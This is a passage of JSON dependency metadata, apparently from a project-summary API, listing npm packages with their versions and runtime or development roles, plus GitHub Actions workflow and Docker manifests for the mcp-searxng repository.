"id":26321277592,"package_name":"domhandler","ecosystem":"npm","requirements":"5.0.3","direct":false,"kind":"runtime","optional":false},{"id":26321277593,"package_name":"domutils","ecosystem":"npm","requirements":"3.2.2","direct":false,"kind":"runtime","optional":false},{"id":26321277594,"package_name":"dunder-proto","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26321277595,"package_name":"ee-first","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":26321277596,"package_name":"emoji-regex","ecosystem":"npm","requirements":"8.0.0","direct":false,"kind":"development","optional":false},{"id":26321277597,"package_name":"encodeurl","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277598,"package_name":"end-of-stream","ecosystem":"npm","requirements":"1.4.5","direct":false,"kind":"development","optional":false},{"id":26321277599,"package_name":"entities","ecosystem":"npm","requirements":"4.5.0","direct":false,"kind":"runtime","optional":false},{"id":26321277600,"package_name":"es-define-property","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26321277601,"package_name":"es-errors","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"runtime","optional":false},{"id":26321277602,"package_name":"es-object-atoms","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"runtime","optional":false},{"id":26321277603,"package_name":"es-set-tostringtag","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":26321277604,"package_name":"esbuild","ecosystem":"npm","requirements":"0.28.1","direct":false,"kind":"development","optional":false},{"id":26321277605,"package_name":"escalade","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"development","optional":false},{"id":26321277606,"package_name":"escape-html","ecosystem":"npm","requirements":"1.0.3","direct":false,"kind":"runtime","optional":false},{"id":26321277607,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":26321277608,"package_name":"eslint","ecosystem":"npm","requirements":"10.8.1","direct":false,"kind":"development","optional":false},{"id":26321277609,"package_name":"eslint-plugin-security","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"development","optional":false},{"id":26321277610,"package_name":"eslint-scope","ecosystem":"npm","requirements":"9.1.2","direct":false,"kind":"development","optional":false},{"id":26321277611,"package_name":"eslint-visitor-keys","ecosystem":"npm","requirements":"3.4.3","direct":false,"kind":"development","optional":false},{"id":26321277612,"package_name":"ajv","ecosystem":"npm","requirements":"6.15.0","direct":false,"kind":"development","optional":false},{"id":26321277613,"package_name":"glob-parent","ecosystem":"npm","requirements":"6.0.2","direct":false,"kind":"development","optional":false},{"id":26321277614,"package_name":"ignore","ecosystem":"npm","requirements":"5.3.2","direct":false,"kind":"development","optional":false},{"id":26321277615,"package_name":"json-schema-traverse","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"development","optional":false},{"id":26321277616,"package_name":"espree","ecosystem":"npm","requirements":"11.2.0","direct":false,"kind":"development","optional":false},{"id":26321277617,"package_name":"esquery","ecosystem":"npm","requirements":"1.7.0","direct":false,"kind":"development","optional":false},{"id":26321277618,"package_name":"esrecurse","ecosystem":"npm","requirements":"4.3.0","direct":false,"kind":"development","optional":false},{"id":26321277619,"package_name":"estraverse","ecosystem":"npm","requirements":"5.3.0","direct":false,"kind":"development","optional":false},{"id":26321277620,"package_name":"esutils","ecosystem":"npm","requirements":"2.0.3","direct":false,"kind":"development","optional":false},{"id":26321277621,"package_name":"etag","ecosystem":"npm","requirements":"1.8.1","direct":false,"kind":"runtime","optional":false},{"id":26321277622,"package_name":"eventsource","ecosystem":"npm","requirements":"3.0.7","direct":false,"kind":"development","optional":false},{"id":26321277623,"package_name":"eventsource-parser","ecosystem":"npm","requirements":"3.0.6","direct":false,"kind":"development","optional":false},{"id":26321277624,"package_name":"execa","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":26321277625,"package_name":"cross-spawn","ecosystem":"npm","requirements":"6.0.6","direct":false,"kind":"development","optional":false},{"id":26321277626,"package_name":"path-key","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":26321277627,"package_name":"semver","ecosystem":"npm","requirements":"5.7.2","direct":false,"kind":"development","optional":false},{"id":26321277628,"package_name":"shebang-command","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":26321277629,"package_name":"shebang-regex","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":26321277630,"package_name":"signal-exit","ecosystem":"npm","requirements":"3.0.7","direct":false,"kind":"development","optional":false},{"id":26321277631,"package_name":"which","ecosystem":"npm","requirements":"1.3.1","direct":false,"kind":"development","optional":false},{"id":26321277632,"package_name":"express","ecosystem":"npm","requirements":"5.2.1","direct":false,"kind":"runtime","optional":false},{"id":26321277633,"package_name":"express-rate-limit","ecosystem":"npm","requirements":"8.6.2","direct":false,"kind":"runtime","optional":false},{"id":26321277634,"package_name":"fast-check","ecosystem":"npm","requirements":"4.9.0","direct":false,"kind":"development","optional":false},{"id":26321277635,"package_name":"fast-deep-equal","ecosystem":"npm","requirements":"3.1.3","direct":false,"kind":"development","optional":false},{"id":26321277636,"package_name":"fast-glob","ecosystem":"npm","requirements":"3.3.3","direct":false,"kind":"development","optional":false},{"id":26321277637,"package_name":"fast-json-stable-stringify","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"development","optional":false},{"id":26321277638,"package_name":"fast-levenshtein","ecosystem":"npm","requirements":"2.0.6","direct":false,"kind":"development","optional":false},{"id":26321277639,"package_name":"fast-safe-stringify","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":26321277640,"package_name":"fastq","ecosystem":"npm","requirements":"1.20.1","direct":false,"kind":"development","optional":false},{"id":26321277641,"package_name":"file-entry-cache","ecosystem":"npm","requirements":"8.0.0","direct":false,"kind":"development","optional":false},{"id":26321277642,"package_name":"fill-range","ecosystem":"npm","requirements":"7.1.1","direct":false,"kind":"development","optional":false},{"id":26321277643,"package_name":"finalhandler","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"runtime","optional":false},{"id":26321277644,"package_name":"find-up","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":26321277645,"package_name":"flat-cache","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"development","optional":false},{"id":26321277646,"package_name":"flatted","ecosystem":"npm","requirements":"3.4.2","direct":false,"kind":"development","optional":false},{"id":26321277647,"package_name":"foreground-child","ecosystem":"npm","requirements":"3.3.1","direct":false,"kind":"development","optional":false},{"id":26321277648,"package_name":"form-data","ecosystem":"npm","requirements":"4.0.6","direct":false,"kind":"development","optional":false},{"id":26321277649,"package_name":"mime-db","ecosystem":"npm","requirements":"1.52.0","direct":false,"kind":"development","optional":false},{"id":26321277650,"package_name":"mime-types","ecosystem":"npm","requirements":"2.1.35","direct":false,"kind":"development","optional":false},{"id":26321277651,"package_name":"formidable","ecosystem":"npm","requirements":"3.5.4","direct":false,"kind":"development","optional":false},{"id":26321277652,"package_name":"forwarded","ecosystem":"npm","requirements":"0.2.0","direct":false,"kind":"runtime","optional":false},{"id":26321277653,"package_name":"fresh","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277654,"package_name":"fsevents","ecosystem":"npm","requirements":"2.3.3","direct":false,"kind":"development","optional":false},{"id":26321277655,"package_name":"function-bind","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":26321277656,"package_name":"get-caller-file","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":26321277657,"package_name":"get-intrinsic","ecosystem":"npm","requirements":"1.3.0","direct":false,"kind":"runtime","optional":false},{"id":26321277658,"package_name":"get-proto","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26321277659,"package_name":"get-stream","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":26321277660,"package_name":"glob","ecosystem":"npm","requirements":"13.0.6","direct":false,"kind":"development","optional":false},{"id":26321277661,"package_name":"glob-parent","ecosystem":"npm","requirements":"5.1.2","direct":false,"kind":"development","optional":false},{"id":26321277662,"package_name":"gopd","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":26321277663,"package_name":"has-flag","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":26321277664,"package_name":"has-symbols","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":26321277665,"package_name":"has-tostringtag","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"development","optional":false},{"id":26321277666,"package_name":"hasown","ecosystem":"npm","requirements":"2.0.4","direct":false,"kind":"runtime","optional":false},{"id":26321277667,"package_name":"he","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":26321277668,"package_name":"hono","ecosystem":"npm","requirements":"4.13.0","direct":false,"kind":"runtime","optional":false},{"id":26321277669,"package_name":"html-escaper","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":26321277670,"package_name":"http-errors","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"runtime","optional":false},{"id":26321277671,"package_name":"iconv-lite","ecosystem":"npm","requirements":"0.7.2","direct":false,"kind":"runtime","optional":false},{"id":26321277672,"package_name":"ignore","ecosystem":"npm","requirements":"7.0.5","direct":false,"kind":"development","optional":false},{"id":26321277673,"package_name":"imurmurhash","ecosystem":"npm","requirements":"0.1.4","direct":false,"kind":"development","optional":false},{"id":26321277674,"package_name":"inherits","ecosystem":"npm","requirements":"2.0.4","direct":false,"kind":"runtime","optional":false},{"id":26321277675,"package_name":"interpret","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":26321277676,"package_name":"ip-address","ecosystem":"npm","requirements":"10.4.0","direct":false,"kind":"runtime","optional":false},{"id":26321277677,"package_name":"ipaddr.js","ecosystem":"npm","requirements":"1.9.1","direct":false,"kind":"runtime","optional":false},{"id":26321277678,"package_name":"is-core-module","ecosystem":"npm","requirements":"2.16.1","direct":false,"kind":"development","optional":false},{"id":26321277679,"package_name":"is-extglob","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":26321277680,"package_name":"is-fullwidth-code-point","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":26321277681,"package_name":"is-glob","ecosystem":"npm","requirements":"4.0.3","direct":false,"kind":"development","optional":false},{"id":26321277682,"package_name":"is-number","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"development","optional":false},{"id":26321277683,"package_name":"is-promise","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277684,"package_name":"is-stream","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":26321277685,"package_name":"isexe","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":26321277686,"package_name":"istanbul-lib-coverage","ecosystem":"npm","requirements":"3.2.2","direct":false,"kind":"development","optional":false},{"id":26321277687,"package_name":"istanbul-lib-report","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":26321277688,"package_name":"istanbul-reports","ecosystem":"npm","requirements":"3.2.0","direct":false,"kind":"development","optional":false},{"id":26321277689,"package_name":"jose","ecosystem":"npm","requirements":"6.2.2","direct":false,"kind":"development","optional":false},{"id":26321277690,"package_name":"json-buffer","ecosystem":"npm","requirements":"3.0.1","direct":false,"kind":"development","optional":false},{"id":26321277691,"package_name":"json-stable-stringify-without-jsonify","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":26321277692,"package_name":"keyv","ecosystem":"npm","requirements":"4.5.4","direct":false,"kind":"development","optional":false},{"id":26321277693,"package_name":"levn","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"development","optional":false},{"id":26321277694,"package_name":"locate-path","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":26321277695,"package_name":"lru-cache","ecosystem":"npm","requirements":"11.2.7","direct":false,"kind":"development","optional":false},{"id":26321277696,"package_name":"make-dir","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":26321277697,"package_name":"math-intrinsics","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":26321277698,"package_name":"media-typer","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":26321277699,"package_name":"merge-descriptors","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277700,"package_name":"merge2","ecosystem":"npm","requirements":"1.4.1","direct":false,"kind":"development","optional":false},{"id":26321277701,"package_name":"methods","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":26321277702,"package_name":"micromatch","ecosystem":"npm","requirements":"4.0.8","direct":false,"kind":"development","optional":false},{"id":26321277703,"package_name":"mime","ecosystem":"npm","requirements":"2.6.0","direct":false,"kind":"development","optional":false},{"id":26321277704,"package_name":"mime-db","ecosystem":"npm","requirements":"1.54.0","direct":false,"kind":"runtime","optional":false},{"id":26321277705,"package_name":"mime-types","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"runtime","optional":false},{"id":26321277706,"package_name":"minimatch","ecosystem":"npm","requirements":"10.2.5","direct":false,"kind":"development","optional":false},{"id":26321277707,"package_name":"minimist","ecosystem":"npm","requirements":"1.2.8","direct":false,"kind":"development","optional":false},{"id":26321277708,"package_name":"minipass","ecosystem":"npm","requirements":"7.1.3","direct":false,"kind":"development","optional":false},{"id":26321277709,"package_name":"ms","ecosystem":"npm","requirements":"2.1.3","direct":false,"kind":"runtime","optional":false},{"id":26321277710,"package_name":"natural-compare","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"development","optional":false},{"id":26321277711,"package_name":"negotiator","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277712,"package_name":"nice-try","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":26321277713,"package_name":"node-html-markdown","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277714,"package_name":"node-html-parser","ecosystem":"npm","requirements":"6.1.13","direct":false,"kind":"runtime","optional":false},{"id":26321277715,"package_name":"npm-run-path","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":26321277716,"package_name":"nth-check","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"runtime","optional":false},{"id":26321277717,"package_name":"object-assign","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"runtime","optional":false},{"id":26321277718,"package_name":"object-inspect","ecosystem":"npm","requirements":"1.13.4","direct":false,"kind":"runtime","optional":false},{"id":26321277719,"package_name":"on-finished","ecosystem":"npm","requirements":"2.4.1","direct":false,"kind":"runtime","optional":false},{"id":26321277720,"package_name":"once","ecosystem":"npm","requirements":"1.4.0","direct":false,"kind":"runtime","optional":false},{"id":26321277721,"package_name":"optionator","ecosystem":"npm","requirements":"0.9.4","direct":false,"kind":"development","optional":false},{"id":26321277722,"package_name":"p-finally","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":26321277723,"package_name":"p-limit","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":26321277724,"package_name":"p-locate","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":26321277725,"package_name":"parseurl","ecosystem":"npm","requirements":"1.3.3","direct":false,"kind":"runtime","optional":false},{"id":26321277726,"package_name":"path-exists","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":26321277727,"package_name":"path-key","ecosystem":"npm","requirements":"3.1.1","direct":false,"kind":"development","optional":false},{"id":26321277728,"package_name":"path-parse","ecosystem":"npm","requirements":"1.0.7","direct":false,"kind":"development","optional":false},{"id":26321277729,"package_name":"path-scurry","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":26321277730,"package_name":"path-to-regexp","ecosystem":"npm","requirements":"8.4.0","direct":false,"kind":"runtime","optional":false},{"id":26321277731,"package_name":"picomatch","ecosystem":"npm","requirements":"2.3.2","direct":false,"kind":"development","optional":false},{"id":26321277732,"package_name":"pkce-challenge","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":26321277733,"package_name":"prelude-ls","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":26321277734,"package_name":"proxy-addr","ecosystem":"npm","requirements":"2.0.7","direct":false,"kind":"runtime","optional":false},{"id":26321277735,"package_name":"pump","ecosystem":"npm","requirements":"3.0.3","direct":false,"kind":"development","optional":false},{"id":26321277736,"package_name":"punycode","ecosystem":"npm","requirements":"2.3.1","direct":false,"kind":"development","optional":false},{"id":26321277737,"package_name":"pure-rand","ecosystem":"npm","requirements":"8.4.0","direct":false,"kind":"development","optional":false},{"id":26321277738,"package_name":"qs","ecosystem":"npm","requirements":"6.15.2","direct":false,"kind":"runtime","optional":false},{"id":26321277739,"package_name":"queue-microtask","ecosystem":"npm","requirements":"1.2.3","direct":false,"kind":"development","optional":false},{"id":26321277740,"package_name":"range-parser","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":26321277741,"package_name":"raw-body","ecosystem":"npm","requirements":"3.0.2","direct":false,"kind":"runtime","optional":false},{"id":26321277742,"package_name":"rechoir","ecosystem":"npm","requirements":"0.6.2","direct":false,"kind":"development","optional":false},{"id":26321277743,"package_name":"regexp-tree","ecosystem":"npm","requirements":"0.1.27","direct":false,"kind":"development","optional":false},{"id":26321277744,"package_name":"require-directory","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":26321277745,"package_name":"resolve","ecosystem":"npm","requirements":"1.22.11","direct":false,"kind":"development","optional":false},{"id":26321277746,"package_name":"reusify","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":26321277747,"package_name":"router","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"runtime","optional":false},{"id":26321277748,"package_name":"run-parallel","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"development","optional":false},{"id":26321277749,"package_name":"safe-regex","ecosystem":"npm","requirements":"2.1.1","direct":false,"kind":"development","optional":false},{"id":26321277750,"package_name":"safer-buffer","ecosystem":"npm","requirements":"2.1.2","direct":false,"kind":"runtime","optional":false},{"id":26321277751,"package_name":"semver","ecosystem":"npm","requirements":"7.7.4","direct":false,"kind":"development","optional":false},{"id":26321277752,"package_name":"send","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"runtime","optional":false},{"id":26321277753,"package_name":"serve-static","ecosystem":"npm","requirements":"2.2.1","direct":false,"kind":"runtime","optional":false},{"id":26321277754,"package_name":"setprototypeof","ecosystem":"npm","requirements":"1.2.0","direct":false,"kind":"runtime","optional":false},{"id":26321277755,"package_name":"shebang-command","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":26321277756,"package_name":"shebang-regex","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":26321277757,"package_name":"shelljs","ecosystem":"npm","requirements":"0.9.2","direct":false,"kind":"development","optional":false},{"id":26321277758,"package_name":"shx","ecosystem":"npm","requirements":"0.4.0","direct":false,"kind":"development","optional":false},{"id":26321277759,"package_name":"side-channel","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"runtime","optional":false},{"id":26321277760,"package_name":"side-channel-list","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277761,"package_name":"side-channel-map","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26321277762,"package_name":"side-channel-weakmap","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":26321277763,"package_name":"signal-exit","ecosystem":"npm","requirements":"4.1.0","direct":false,"kind":"development","optional":false},{"id":26321277764,"package_name":"statuses","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"runtime","optional":false},{"id":26321277765,"package_name":"string-width","ecosystem":"npm","requirements":"4.2.3","direct":false,"kind":"development","optional":false},{"id":26321277766,"package_name":"strip-ansi","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":26321277767,"package_name":"strip-eof","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":26321277768,"package_name":"superagent","ecosystem":"npm","requirements":"10.3.0","direct":false,"kind":"development","optional":false},{"id":26321277769,"package_name":"supertest","ecosystem":"npm","requirements":"7.2.2","direct":false,"kind":"development","optional":false},{"id":26321277770,"package_name":"supports-color","ecosystem":"npm","requirements":"7.2.0","direct":false,"kind":"development","optional":false},{"id":26321277771,"package_name":"supports-preserve-symlinks-flag","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"development","optional":false},{"id":26321277772,"package_name":"test-exclude","ecosystem":"npm","requirements":"8.0.0","direct":false,"kind":"development","optional":false},{"id":26321277773,"package_name":"tinyglobby","ecosystem":"npm","requirements":"0.2.17","direct":false,"kind":"development","optional":false},{"id":26321277774,"package_name":"fdir","ecosystem":"npm","requirements":"6.5.0","direct":false,"kind":"development","optional":false},{"id":26321277775,"package_name":"picomatch","ecosystem":"npm","requirements":"4.0.4","direct":false,"kind":"development","optional":false},{"id":26321277776,"package_name":"to-regex-range","ecosystem":"npm","requirements":"5.0.1","direct":false,"kind":"development","optional":false},{"id":26321277777,"package_name":"toidentifier","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"runtime","optional":false},{"id":26321277778,"package_name":"ts-api-utils","ecosystem":"npm","requirements":"2.5.0","direct":false,"kind":"development","optional":false},{"id":26321277779,"package_name":"tsx","ecosystem":"npm","requirements":"4.23.12","direct":false,"kind":"development","optional":false},{"id":26321277780,"package_name":"type-check","ecosystem":"npm","requirements":"0.4.0","direct":false,"kind":"development","optional":false},{"id":26321277781,"package_name":"type-is","ecosystem":"npm","requirements":"2.1.0","direct":false,"kind":"runtime","optional":false},{"id":26321277782,"package_name":"typescript","ecosystem":"npm","requirements":"5.9.3","direct":false,"kind":"development","optional":false},{"id":26321277783,"package_name":"undici","ecosystem":"npm","requirements":"7.29.0","direct":false,"kind":"runtime","optional":false},{"id":26321277784,"package_name":"undici-types","ecosystem":"npm","requirements":"6.21.0","direct":false,"kind":"runtime","optional":false},{"id":26321277785,"package_name":"unpdf","ecosystem":"npm","requirements":"1.8.1","direct":false,"kind":"runtime","optional":false},{"id":26321277786,"package_name":"unpipe","ecosystem":"npm","requirements":"1.0.0","direct":false,"kind":"runtime","optional":false},{"id":26321277787,"package_name":"uri-js","ecosystem":"npm","requirements":"4.4.1","direct":false,"kind":"development","optional":false},{"id":26321277788,"package_name":"v8-to-istanbul","ecosystem":"npm","requirements":"9.3.0","direct":false,"kind":"development","optional":false},{"id":26321277789,"package_name":"vary","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"runtime","optional":false},{"id":26321277790,"package_name":"which","ecosystem":"npm","requirements":"2.0.2","direct":false,"kind":"development","optional":false},{"id":26321277791,"package_name":"word-wrap","ecosystem":"npm","requirements":"1.2.5","direct":false,"kind":"development","optional":false},{"id":26321277792,"package_name":"wrap-ansi","ecosystem":"npm","requirements":"7.0.0","direct":false,"kind":"development","optional":false},{"id":26321277793,"package_name":"wrappy","ecosystem":"npm","requirements":"1.0.2","direct":false,"kind":"runtime","optional":false},{"id":26321277794,"package_name":"y18n","ecosystem":"npm","requirements":"5.0.8","direct":false,"kind":"development","optional":false},{"id":26321277795,"package_name":"yargs","ecosystem":"npm","requirements":"17.7.3","direct":false,"kind":"development","optional":false},{"id":26321277796,"package_name":"yargs-parser","ecosystem":"npm","requirements":"21.1.1","direct":false,"kind":"development","optional":false},{"id":26321277797,"package_name":"yocto-queue","ecosystem":"npm","requirements":"0.1.0","direct":false,"kind":"development","optional":false},{"id":26321277798,"package_name":"zod","ecosystem":"npm","requirements":"4.2.0","direct":false,"kind":"runtime","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/scorecard.yml","sha":null,"kind":"manifest","created_at":"2026-08-27T15:45:05.956Z","updated_at":"2026-08-27T15:45:05.956Z","repository_link":"https://github.com/ihor-sokoliuk/mcp-searxng/blob/main/.github/workflows/scorecard.yml","dependencies":[{"id":26321275396,"package_name":"actions/checkout","ecosystem":"actions","requirements":"3d3c42e5aac5ba805825da76410c181273ba90b1","direct":true,"kind":"composite","optional":false},{"id":26321275400,"package_name":"ossf/scorecard-action","ecosystem":"actions","requirements":"2d1146689b8cda280b9bc96326124645441f03bc","direct":true,"kind":"composite","optional":false},{"id":26321275403,"package_name":"actions/upload-artifact","ecosystem":"actions","requirements":"043fb46d1a93c77aae656e7c1c64a875d1fc6a0a","direct":true,"kind":"composite","optional":false},{"id":26321275405,"package_name":"github/codeql-action/upload-sarif","ecosystem":"actions","requirements":"ff2f1c621b7f889edc0d3c761ac2e6a3f8cdb0dd","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"docker","filepath":"docker-compose.resources.yml","sha":null,"kind":"manifest","created_at":"2026-08-27T15:45:06.547Z","updated_at":"2026-08-27T15:45:06.547Z","repository_link":"https://github.com/ihor-sokoliuk/mcp-searxng/blob/main/docker-compose.resources.yml","dependencies":[]},{"ecosystem":"actions","filepath":".github/workflows/ci.yml","sha":null,"kind":"manifest","created_at":"2026-08-27T15:45:03.974Z","updated_at":"2026-08-27T15:45:03.974Z","repository_link":"https://github.com/ihor-sokoliuk/mcp-searxng/blob/main/.github/workflows/ci.yml","dependencies":[{"id":26321271996,"package_name":"actions/checkout","ecosystem":"actions","requirements":"3d3c42e5aac5ba805825da76410c181273ba90b1","direct":true,"kind":"composite","optional":false},{"id":26321271997,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"820762786026740c76f36085b0efc47a31fe5020","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"docker","filepath":"docker-compose.http.yml","sha":null,"kind":"manifest","created_at":"2026-08-27T15:45:06.311Z","updated_at":"2026-08-27T15:45:06.311Z","repository_link":"https://github.com/ihor-sokoliuk/mcp-searxng/blob/main/docker-compose.http.yml","dependencies":[]}],"score":21.21280851708845,"created_at":"2026-10-16T16:46:33.345Z","updated_at":"2026-10-17T20:05:54.264Z","avatar_url":"https://github.com/ihor-sokoliuk.png","language":"TypeScript","codemeta":null,"publiccode":null,"project_url":"https://summary.ecosyste.ms/api/v1/projects/389998","html_url":"https://summary.ecosyste.ms/projects/389998"}